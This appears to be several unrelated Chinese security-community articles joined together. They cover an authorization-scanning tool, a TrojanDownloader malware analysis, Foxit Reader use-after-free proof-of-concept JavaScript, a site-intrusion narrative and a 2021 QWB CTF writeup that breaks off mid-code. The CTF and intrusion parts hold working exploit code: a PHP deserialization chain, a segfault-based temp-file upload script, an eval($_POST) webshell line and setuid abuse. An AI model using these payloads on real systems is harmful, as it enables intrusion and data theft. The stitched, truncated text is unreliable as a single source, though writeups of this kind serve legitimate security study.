Precision = 421/ (421+ 43) = 0.907 Recall = 421/ (421 + 11) = 0.97
也就是在另外一天的数据表现来看，精度能做到每日的URL是0.9左右，召回率能做到0.97，在这个基础上我们需要去看下哪些漏掉了、什么原因漏掉了，经过对特征重要性进一步分析，模型应该是把很多订单类的文本识别为了
_*_
息，主要原因是订单的特征和公开的特征非常像，里面都有类似shopid、sellerid、http，也存在固定电话等。在这种情况下需要新增一个专门标注订单的特征项isOrder，如果看到这个字段为1，就自动标注为非卖家信息，再去训练该模型，最后的结果确实也提升了一些recall，但还是不尽人意。
这种情况下，就需要另外的手段来弥补不足，我们专门从流量里清洗出了带有订单标志的流量，单独进行检测。这样做既不会增加工作量，也能很好地弥补模型的不足。
最后的效果是，在模型预测前，每日会有3000多条报警记录需要人工去看，而经过模型过滤后每日告警减少到100多条，不过感觉还是有优化的空间，最好的做法是把很多无法识别或识别错的，用规则过滤掉，尽量控制误报同时降低漏报。
### 0x02、扫描是否存在越权
**1、漏洞扫描**
漏洞扫描，主要是基于模型输出的API去主动扫描和发现该API是否存在漏洞的情况，这是一个主动发现的过程，它和传统的漏洞感知、NIDS的差别在于，它在不被攻击的情况下也能发现基础漏洞的存在。这里对于权限的扫描主要是通过Java的http接口重新访问该URL，类似某些公司的回音墙，然后根据response来校验是否获取到了敏感信息，来确定是否有漏洞存在。扫描器支持多种引擎，这里选择Chrome和http两种引擎，主要是为了解决js跳转等问题，不同的引擎优缺点不太一样，要根据适合的场景来选择。目前可以支持的漏洞类型如下：
具有权限问题的URL
JSONP
URL重定向
非预期文件读取
在线数据库异常链接
敏感文件下载等等
先看下扫描器的框架，如下：
图3 漏洞扫描框架
扫描器在扫描权限问题的时候需要具备如下能力：
1、登录态的设置能力，没有登录态连基本的权限都没有，所以这里必须设置。
2、多引擎的能力，不同引擎有不同的优缺点需要切换使用。
3、多线程能力，多线程去运行才能提高检测效率。
4、漏洞的检测能力。
（1）扫描查询是否存在越权
接口的访问形式多种多样，本文就以某一种形式来讨论，例如遇到以下类型的URL
代码块Java
https://x.y.com/a/b/getOrderDetail?orderNo=11000603698171
从上面的接口可以看到，这是一个查询订单的接口，很显然上面的模型会把它预测为是敏感信息，接下来数据来到扫描器这一层，扫描器就要对他进行重放一次，看是否能拿到之前的response信息，在重放之前我们先要设置下登录态，如果单纯地去渲染可能没办法达到一个很好的效果，这里需要给扫描工具建立一些登录态，能够进入系统内部去调用他们的接口能力。
代码块Java
private static Map<String, String> headers = new HashMap<>();
static {
// 初始化header
headers.put(“Referer”, Constant.REFERER);
headers.put(“Host”, “1.x.com”);
headers.put(“X-Requested-With”, “XMLHttpRequest”);
headers.put(“User-Agent”, Constant.UA);
headers.put(“Cookie”, Constant.COOKIE_1 + Constant.COOKIE_2 + Constant.COOKIE_3 + Constant.COOKIE_4);
}
有了上面的header可能还不够，在适当的时候需要去替换URL里面的各种参数，例如token信息等等，所以还需要判断这个接口的鉴权是在哪里做的，token的校验有的是通过url传入的，那我们需要通过替换过后再进行重放，否则还是用的老登录态会导致误报。接下来就需要对接口做各种尝试来判断是否具有权限问题或其他漏洞。这个过程主要是通过事先做好的URL工具类访问下，访问的主要接口如下：
代码块Java
String response = HttpUtils.get(url, null, headers,3000, 3000, “UTF-8”);
返回值如下
代码块
Java
{“data”:{“orderNo”:”11000603698171”,”price”:”19.80”,”quantity”:1,”originalPrice”:”23.80”,”stock”:0,”remainStock”:0,”dailyStock”:0,
“dailyRemainStock”:0,”salesVolume”:0,”startTime”:null,”status”:0,”offlineTime”:null,”productId”:613196357,”skuCode”:””}],”consignee”:
{“buyerNickName”:”甜美xxxx”,”name”:”xxx”,”phone”:”11111111”,”address”:”*xxxxxxx”,”zipCode”:””},”userRemark”:””}}
如果能访问成功，这说明这类接口是有问题的，存在水平查询权限问题，反之则不存在越权问题。
当然这还远远不够，单个的访问效率是非常低的，每日可能有好几十万的链接需要回放单线程，这样是没办法满足我们的需求的，所以扫描器需要采用多线程的方式，用100个甚至更多的线程来同时执行。
代码块Java
/**
多线程执行
@param urls
*/
public static void execute(List<VulBase> urls) {
for (VulBase vulBase : urls) {
futureList.add(executorService.submit(new ProcessThread(vulBase)));
}
for (Future<Result> resultFuture : futureList) {
try {
Result result = resultFuture.get();
if(result.getSuccess() == true) {
System.out.println(result.getSuccess() + "," + result.getMsg());
}
} catch (InterruptedException e) {
e.printStackTrace();
} catch (ExecutionException e) {
e.printStackTrace();
}
}
futureList.clear();
}
这样同时运行100个任务。效率提升会非常明显，原来1万条URL需要3小时左右的回放时间，采用多线程后只需要5分钟。这里也可以根据机器性能，适当调整自己的线程数。
（2）扫描修改类接口是否存在越权
绝大部分增删改的动作都是POST请求，这里同样需要过滤掉那些无效的POST请求，以免产生大量误报，真正的难点是要找出增删改过数据库的POST请求，这个过程比较困难，从表面是无法识别的，我们一般把流量中记录的traceid和db的traceid进行一个关联，如果关联上就说明在这次访问中增删改过数据库，然后就需要构造访问包的方式去访问系统，这个过程也比较危险，因为你很有可能删除掉了非常重要的信息，所以在这里需要控制好登录态就显得非常重要了，否则很可能删除或修改了别人的数据导致线上故障。代码如下：
代码块Java
String response = HttpUtils.post(url, body, headers,3000, 3000, “UTF-8”);
如果能通过自己的登录态去POST这个请求并且改变了别人数据库里的内容，那可能就存在问题了。
### 0x03、运营
检测结果出来后还有一个比较重要的工作就是运营，我们通过安全运营可以去除一些扫描器的误报，并且还可以发现该接口的一些其他问题，或者进一步被利用的可能，比如是否可以被遍历，还可以横向思考是否同系统还有其他接口也存在这类问题，用来发现更多的流量里面没有的URL，因为有些URL非常重要，但是他一天也没几个人访问，甚至没有访问，这种就只能通过运营的能力来发现，有点类似根据扫描结果来做一个有指导的SDL。还是从上面的URL来看，
代码块Java
https://x.y.com/a/b/getOrderDetail?orderNo=11000603698171
如果他存在权限的问题，接下来运营还需要确认是否可以通过orderNo来遍历全部的订单信息，如果可以那这个漏洞的危害就变得非常大了，还可以排查出y.com这个域名是否存在其他的重要接口，大概率也会存在问题，从而达到横向、纵向的权限梳理，尽量全的覆盖全域的系统和URL。
### 0x04、小结
权限扫描中最难的问题，就是我们对业务的无法理解导致大量误报，最终导致的结果就是不可运营性，这其中的误报包括：
返回信息的不确定（是否是敏感信息）
对数据库的修改是否是合法操作
笔者主要是通过限定返回信息来缩小敏感信息的范围并配合模型和规则去除误报和无用的返回信息。这里采样起到了一个非常重要的作用，对于全量的数据我们没必要全部进行校验，只需要对同一类接口进行校验就够了，这样可以大大降低引擎的压力同时也能提升效率减少误报。
## 三、结语
权限问题治理、发现、检测对于每一家公司都是非常困难的，困难点主要源于我们对业务的不理解。我们最好在事前、事中、事后体系化去解决这类问题，没有银弹。事前可以通过架构层，统一开发框架，统一编码规范，结合白盒扫描等等方式，事后的解决办法主要是从具备敏感资产的这个点进入，并做好权限的动态配置和校验，从而达到检测权限漏洞的能力。其中最主要的是我们要具备每一个系统的权限动态配置能力，这样才能进入到系统对URL进行扫描。时间仓促本文作为漏洞扫描系统的一个功能和大家做一个技术上的探讨和分析，盲人摸象而已，实际权限问题的实践远比想象复杂，后续有机会再做进一步交流。
**通常文章看到这里基本上的内容也就结束了，但是上面还不是本文的重点，本文重点是得物app是一家业务发展迅猛的电商公司，目前安全部、数据安全还有大量职位以待大佬加盟，如果需要可以加微信：hezheng_2329** | 社区文章 |
# TrojanDownloader病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 零 前言
TrojanDownloader(中文名：文件下载者病毒)主要通过游戏外挂等方式传播。是一款比较早期的病毒样本，已知最早的入库时间是在2008年，其本身危害性不高，但是由于他的作用，其危害性体现在其所下载的恶意代码上。
## 一 目录
* 1.目录
* 2.样本信息
* 3.行为分析
* 4.样本分析
* 5.技术上的总结
## 二 样本分析
* 1.样本名称：sample.WSDump.exe
* 2.样本md5：25a1eb3d3f8767a86050d16c226f9912
* 3.是否加壳：UPX
* 4.编写语言：VC++6.0
* 5.样本来源：网络获取
## 三 行为分析
病毒首先创建互斥体121212，和判断自身文件是否存在，如果存在就启用网络套接字以便执行下一步操作。如果不存在则退出程序。
在执行体函数中，程序首先初始化一些服务控制器的状态信息，然后创建”Net
CLR”的互斥体，接着枚举二进制资源，加载hra33.dll这个dll文件，接下来分别创建三个线程，执行不同的操作。
## 四 样本分析
### ExecuteFun
这个函数是程序的主要执行部分。
* 设置serviceStatus状态
* 更新资源
* 加载hra33.dll这个动态链接库文件
* 创建三个线程
### UpdateSource
这个函数主要是用于更新资源的，但是由于注册表Services.Net CLR不存在导致函数提前退出。
* 根据Service注册表下Net CLR文件，创建新文件
* 然后利用跟新资源的方式让其像一个可执行文件
### Thread_1
利用od跟入Thread_1函数。
* 获取本地主机的名称和地址
* 获取本地网关
* 这里有个病毒作者的错误，本来他想的是如果主机用户是管理员则执行这个判断，但是他直接引用的是字符串，造成判断无效，所有用户都成立
* 利用上面得到的本地网关地址，和用户名及密码作为参数传入CreateFileAndExecuteFun(emmmm不像是真的)。
### CreateFileAndExecuteFun
程序先与远程主机利用ipc$漏洞创建一个共享的命名管道，用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。还可以访问共享资源,并使用一些字典工具，进行密码探测，以至于获得更高的权限。然后黑客从服务端可以利用nc等软件向主机发送一个shell。
* 创建映射方式，以便后期的文件操作，通过WNetAddConnection2A API将共享目录映射为本地磁盘，之后即可按本地文件形式访问文件，最后断开连接。[参考：<http://blog.sina.com.cn/s/blog_672355630102vnwa.html>]
* 把本地文件复制到共享文件的C-E盘
### Thread_2
* 获取本地时间和20130221进行比较，如果大于则创建Thread3这个线程执行
### Thread_3
* 判断链接192.168.1.107是否正常
* 利用switch 通过接收不同的指令，来决定执行的操作，如下图
* 16号：
* 18号：
* 20号：
* 6号：
* 2号：
* 3号：
* 4号：
### IsConnectFun()
* 解Base编码得到IP地址：192.168.1.107:83
### GetInformationFun
* 识别出当前系统版本信息
* 读取注册表，查看CPU的频率
* 调用 GlobalMemoryStatusEx获取内存信息，
* 查看网络适配器情况
## 五 技术上的总结
调试程序比较难的地方在于跟入CreateThread创建的线程中，因为OD是单线程调试器，所以不会直接跟入创建的线程(子线程)中，我们采用Sleep函数来跟入线程函数中。
* 找到线程所指向的函数，在函数开头下断
* 修改调用CreateThread函数下一条语句，写入如下部分
push 100000 ;将Slepp的参数压入
Call Kernel32.Sleep
* f8执行，函数自动断在线程函数刚刚下断的地方。
参考自：<https://blog.csdn.net/whatday/article/details/9059281>
关于ipc$的使用，参考自<https://blog.csdn.net/smithjackhack/article/details/78559970> | 社区文章 |
# Foxit Reader多个UAF漏洞解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ManchurianClassmate
## 0x00 简介
9月28号著名PDF阅读器厂商福昕针对Foxit Reader和Foxit
PhantomPDF发布了例行安全更新，在其安全公告上涉及了其中一个包含较多CVE编号的修补，Foxit对此修补的描述为：“Addressed
potential issues where the application could be exposed to Use-After-Free
Remote Code Execution or Out-of-Bounds Read Information Disclosure
vulnerability and crash. This occurs when executing certain JavaScript due to
the use of document and its auxiliary objects which have been closed after
calling closeDoc function”。本文就简单说一下该系列漏洞。
## 0x01 第一次报告
关于这个攻击面的发现在Foxit
Reader之前的例行安全更新中修补的远程命令执行漏洞CVE-2018-3924和CVE-2018-3939。这两个漏洞由Cisco
Talos的Aleksandar
Nikolic提交，在7月19号被修补，有意思的是在8月16号Foxit又发布更新修补了CVE-2018-3924和CVE-2018-3939，明显第一次修补存在一些问题。
这两个漏洞的详情可以在Talos的博客上看到：[https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0588；https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0606](https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0588%EF%BC%9Bhttps:/www.talosintelligence.com/vulnerability_reports/TALOS-2018-0606)。
## 0x02 CVE-2018-3924
PDF格式是允许嵌入JavaScript脚本的，从而可以在文档中实现更丰富的功能，比如动态修改文档内容，自动发送电子邮件等。而这一切需要由PDF阅读器提供的JavaScript引擎以及一系列内置函数的支持。触发崩溃的PoC如下：
var v1 = new Array();
function main() {
v1.toString = f;
app.activeDocs[0].mailForm({},v1,{},{},{},true,{});
}
function f() {
app.activeDocs[0].closeDoc();
return 1;
}
该漏洞出在JavaScript内置类型Doc的mailForm()方法中，Doc类型是Adobe Acrobat
API中定义的用于访问PDF文档的内置类，为了和Adobe Acrobat兼容，Foxit Reader也实现了Adobe Acrobat
API中的绝大多数内容。全局变量app属于App类型，其方法activeDocs()用于返回当前活跃的文档的Doc实例，Doc的另外一个方法closeDoc()用于关闭文档并从内存中销毁相应的对象。Adobe
Acrobat API文档中没有限制mailForm()参数的类型，但可以参考开源的PDFium的代码：
第二个参数在存在的情况下会被强制转化为字符串类型，结合PoC可以推知转化的过程会调用v1.prototype.toString()，而这个函数被赋值为f()，运行时会销毁当前Doc对象，而销毁后某些代码又会继续引用Doc对象中的属性，从而形成UAF漏洞。实际运行时情况也的确如此，程序会崩溃在0x00B8D5C9的位置上（9.0.1.1049版本）：
edi中存储着当前Doc对象的指针，这里程序调用了Doc对象内部0x5C偏移处的另一个对象的一个虚函数，因为该虚表指针早已被销毁并填充进了其他数据，从而触发Access
violation崩溃。从测试情况来看，可以很容易的控制并填充Doc对象的内存区域，从而控制eip，实现任意代码执行。
## 0x03 CVE-2018-3939
这次的崩溃PoC和CVE-2018-3924长得很像：
function main() {
var a = {};
a.toString = f;
app.activeDocs[0].createTemplate(false,a);
}
function f() {
app.activeDocs[0].closeDoc();
}
main();
明显可以看出问题很类似，只不过有漏洞的代码在另一个函数里面罢了。运行后崩溃的位置也很相似：
又是通过调用Doc对象偏移0x5C的对象的虚函数来触发UAF。
## 0x04 修补
修补后的9.2.0.9297版本中这两个函数几乎都被重写了但从createTemplate()函数的新版本中可以看到在转换类型前对参数类型进行了检查，如果是Object类型则不做类型转换，从而避免执行toString()方法：
也就是说按福昕的理解，问题出在参数类型过滤不严。
## 0x05 后续
CVE-2018-3924和CVE-2018-3939的情况明显不会是个例，于是就有了这次较多的同类问题的报告。这里有一个额外的小问题，现在网上可以找到的Adobe
Acrobat
API文档是2007年的，而后续版本的API又有了一些增补，关于这些变化至少本人没有找到公开的文档。所以这波报告涉及了一些2007年文档中没有的API函数。实际去看这些后续增加的API时会发现有相当一部分函数Foxit
Reader都只是做了一个空壳子，里面没有任何代码实现。可能这一部分功能福昕并不重视。后续发现有该问题的函数还有Doc类的mailDoc()方法、createIcon()方法、getPageBox()方法、gotoNamedDest()方法、importAnFDF()方法等等。
关于利用效果，在做了简单的堆喷射后在关闭DEP的环境中可以弹出计算器： | 社区文章 |
# 从JS接口的泄露到拿下通用型eduGetshell漏洞
好兄弟给了一个后台，让我试试看，常规的看到后台界面 又没有验证码 果断直接Burp暴力破解看看有没有弱口令 熟悉的味道 还是想的太天真 果然是没有
也没有抓到什么有用的信息 目录也没有(页面中的未进行爆破),也没有跳转的的一些网站
没办法 开启F12大法 network查看加载的js的文件 找找有没有关键的js文件 找到了login.js和xxx_xx.js
打开js文件一步一步的进行代码审计
简单了解一下 有跳转页面 而且注释也写明白了 当登录的是admin登录失败会跳转到xxx.aspx 直接打开这个页面，应该也算一个未授权的界面
一个数据库设置界面 可惜了没有可以直接修改的地方 不过也获取到了 数据库的一些信息(不过是假的....)
密码的type是password 直接f12修改为type 就可以看到明文了
继续观察下一个地方 这个地方就有意思了 参数翻译一下就是获取当前的配置
不多说 直接拼接函数 成功获取到了真实的数据库信息 拿到一个敏感信息泄露漏洞 但是经过测试发现是内网连接的 只能放弃
接着继续看 有一个跳转页面 是下载excel模板的地方 推测应该是上传点 然后有模板可供下载 先试试看能不能任意文件下载
直接下载当前页面的aspx脚本的源码 下载成功 又拿下一个任意文件下载漏洞
还有一个上传的接口 可惜没有给出敏感的数据 尝试构造和文件下载相同格式的路径也无果
本来以为就此结束了,过了两天发现危害太低了，又回来重新看了一眼，好家伙发现一个网站在html中写了一串代码，峰回路转 直接发现了好多个跳转的界面
一个个的尝试下来，基本都有验证，不过还是遗留了一个未授权的界面，直接访问此界面
不错直接登录到后台了
常规的寻找一下文件上传点 尝试Getshell
只有一个前端限制，修改一下后缀格式，成功绕过
拿出组传的菜刀一连
至此 审计结束 拿下来了一个高危和两个低危漏洞
最后通用全部提交到src上
# 总结
思路就是从js代码去入手审计,没有什么难点,主要还是能够找到一些脆弱点进行测试，扩大测试的范围从而拿下站点 | 社区文章 |
# 2021 强网杯线上赛 Web&Misc WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
> **第五届强网杯全国网络安全挑战赛 – 线上赛**
>
> 比赛时间: 2021-06-12 09:00 ~ 2021-06-13 21:00
>
> 比赛官网: <https://www.ichunqiu.com/2021qwb>
这比赛时长36h，包括签到和问卷总共43题，太顶啦！
大部分都是和队里师傅们一起打的，有些题目自己看了其中一部分，赛后又稍微复现了一下。
## Web
### [强网先锋]寻宝
有两关
**线索1**
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
Payload:
ppp[number1]=2333m&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=-aabcdf&ppp[number5]=null
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
**线索2**
文件下载几秒会自动掐断，考虑断点续传，用 IDM 直接就能实现。
打开一堆的 docx，里面一堆垃圾 ASCII，写个脚本把所有 docx 文件读一下。
import os
import docx
import glob
files = glob.glob('.\\five_month\\*\\*\\*.docx')
print(files)
for file in files:
doc = docx.Document(file)
for i in doc.paragraphs:
try:
# print(i.text)
if 'KEY2' in i.text:
print(i.text)
print('============================')
except:
pass
其中有个就是KEY2
`KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}`
提交拿到 flag
### [强网先锋]赌徒
源码：
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
`Room` 里可以读取文件并输出，但是需要以调用函数的方式调用这个对象。正好里面的 `__get()`
方法当调用对象中不存在的属性或者私有的属性的时候就能触发调用他自己。
再看 `Info` 对象里的 `__toString` 就可以调用一个 `Room` 里不存在的对象
`ffiillee['ffiilleennaammee']`。
为了实现输出 `Info`，看到 `Start` 里反序列化的时候会调用 `_sayhello()` 方法。
于是让 `Start->name` 指向 `Info`，`Info->file['filename']` 指向 `Room`，然后以调用函数的方式调用
`Room`，`Room->filename = '/flag'` 就能输出 flag 了。
（这里说的对象还要实例化一下
Exp：
<?php
error_reporting(1);
class Start
{
public $name;
}
class Info
{
private $phonenumber = 123123;
public $promise = 'I do';
}
class Room
{
public $filename = '/flag';
public $sth_to_set;
public $a = '';
}
$c = new Room();
$d = new Room();
$d->filename = '/flag';
$a = new Start();
$b = new Info();
$b->file['filename'] = $c;
$a->name = $b;
$c->a = $d;
echo urlencode(serialize($a));
?>
### WhereIsUWebShell
源码
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>
入口的 COOKIE 存在反序列化
去掉最后的大括号，利用反序列化报错来防止进入 Exception
O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D
`e2a7106f1cc8bb1e1318df70aa0a3540.php`
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
`bff139fa05ac583f685a523ab3d110a0.php`
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁，清内存
}
imagedestroy($first);
}
?>
`45b963397aa40d4a0063e0d85e4fe7a1.php`
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp
当前应该是在 /etc 目录下（？
不过没啥用，不能直接读 /flag，或者说 flag 不在根目录
参考 [LFI via SegmentFault](https://www.jianshu.com/p/dfd049924258)
>
> include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
>
>
> 可以导致 php 在执行过程中 Segment Fault
>
> 本地文件包含漏洞可以让 php 包含自身从而导致死循环
> 然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
魔改他的脚本
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
print(response)
except Exception as e:
print(e)
def generate_tmp_files():
with open('miao.png', 'rb') as fin:
file_content = fin.read()
phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (
base_url)
length = 6
times = int(len(charset) ** (length / 2))
for i in range(times):
print("[+] %d / %d" % (i, times))
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__ == "__main__":
main()
图片是个长宽相等的 png，里面放木马。
上传过程中就会留下一些文件不会被删除。
一边跑这个脚本，另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell
由于会自动删除，没了就换新的
根目录果然没 flag
然后利用 shell 发现 `/usr/bin` 下面有个文件可以以 root 权限执行命令
find / -user root -perm -4000 -print 2>/dev/null
# 或者
# find / -perm -u=s -type f 2>/dev/null
flag 在 /l1b 下一个绕来绕去的目录里面
或者
find / -perm 600 -user root
最后执行
/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1
Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
`flag{b101e657-a46a-4791-abcb-5be544fc12bd}`
### EasyWeb
> 题目来源于某次帮朋友测试项目的渗透过程，非常非常简单，没有新的知识点，已经去掉了很多需要脑洞猜测的部分，不过依然需要进行一些信息收集工作。So~ Be
> Patient~And have funny!
>
> 47.104.136.46
> 47.104.137.239
> 121.42.242.238
>
> （每 20 分钟重启一次环境）
>
> 1. flag不在数据库；1. 能看到报错信息是预期现象
>
直接访问，根据 html 里的提示访问 `/hint`，得知文件在 `/files/????????????????????????????????`
访问 `/file` 下载得到相应的文件
根据里面的 `hint.txt`，扫描端口得到
<http://121.42.242.238:36842>
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee
sql 注入得到登录信息为 `admin`、`99f609527226e076d668668582ac4420`
扫目录得到 /file 有文件上传
直接上传会被卡
改文件名为 `php.php` 可以绕过
然后文件内容绕过，先用段标签和 `$_GET[1]` 绕过写小马，再通过 `?1=echo '<?php
[@eval](https://github.com/eval "@eval")($_POST[m]);?>' > x.php` 写马。
蚁剑连上之后发现权限不够，读不了 flag。
查看端口发现有个端口还跑着 jboss。
代理整出来，然后参考
[jboss漏洞getshell](https://blog.csdn.net/weixin_43999372/article/details/88364032)
写 webshell，最后读到 flag。
_（比赛结束之后环境关了也就么得图了_
`flag{V3ry_v3rY_E3si_a_w3B_Ch[@1l3ng3](https://github.com/1l3ng3 "@1l3ng3")}`
### EasyXSS
> The BOT starts every five seconds and handles only one reported URL at a
> time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)
>
> Notice: the address requested by the BOT is <http://localhost:8888>.
>
> Each time the BOT processes a request, it clears subsequent report URLs from
> the database
>
> 每 15 分钟重启环境
>
> 47.104.192.54:8888
> 47.104.210.56:8888
> 47.104.155.242:8888
>
> Hint: flag格式是flag{uuid}
算是个 [XS-Leaks](https://xsleaks.com/) 的题目，算是侧信道的一种吧。
通过 `/hint` 路由可以知道 flag 判断逻辑。
app.all("/flag", auth, async (req, res, next) => {
if (req.session.isadmin && typeof req.query.var === "string") {
fs.readFile("/flag", "utf8", (err, flag) => {
let flagArray = flag.split("");
let dataArray = req.query.var.split("");
let check = true;
